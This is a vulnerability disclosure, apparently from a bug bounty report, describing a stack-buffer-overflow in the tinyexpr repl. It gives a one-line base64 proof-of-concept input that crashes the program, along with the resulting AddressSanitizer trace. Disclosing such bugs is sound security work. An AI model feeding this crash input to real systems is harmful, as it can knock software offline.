Stack-based Buffer Overflow in codeplea/tinyexpr

Reported on May 23rd 2021

✍️ Description

Whilst experimenting with repl built from commit 61af1d, with Clang 10 (+ASan) on Ubuntu 20.04.2 LTS, we discovered an expression containing 4 null characters after a newline which, due to insufficient bounds checking, triggers a stack-buffer-overflow.

🕵️‍♂️ Proof of Concept

echo "c3FydCg1XjIrN14yKzExXjIrKDgtMileMikKAAAAAAA=" | base64 -d | ../repl

The above POC produces this ASan stack trace:

==3156664==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffeadf9cf6f at pc 0x0000004c4c28 bp 0x7ffeadf9cf30 sp 0x7ffeadf9cf28
READ of size 1 at 0x7ffeadf9cf6f thread T0
    #0 0x4c4c27 in readline /root/tinyexpr/repl.c:22:9
    #1 0x4c4c27 in repl /root/tinyexpr/repl.c:49:22
    #2 0x4c4c27 in main /root/tinyexpr/repl.c:73:9
    #3 0x7ff914e5e0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
    #4 0x41c6cd in _start (/root/tinyexpr/repl+0x41c6cd)

Address 0x7ffeadf9cf6f is located in stack of thread T0 at offset 47 in frame
    #0 0x4c454f in main /root/tinyexpr/repl.c:65

  This frame has 3 object(s):
    [32, 36) 'err.i.i' (line 36)
    [48, 1072) 'buf.i.i' (line 12) <== Memory access at offset 47 underflows this variable
    [1200, 1204) 'err.i' (line 36)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /root/tinyexpr/repl.c:22:9 in readline

💥 Impact

This vulnerability is capable of crashing the software and/or triggering unintended consequences of overflowing the stack buffer.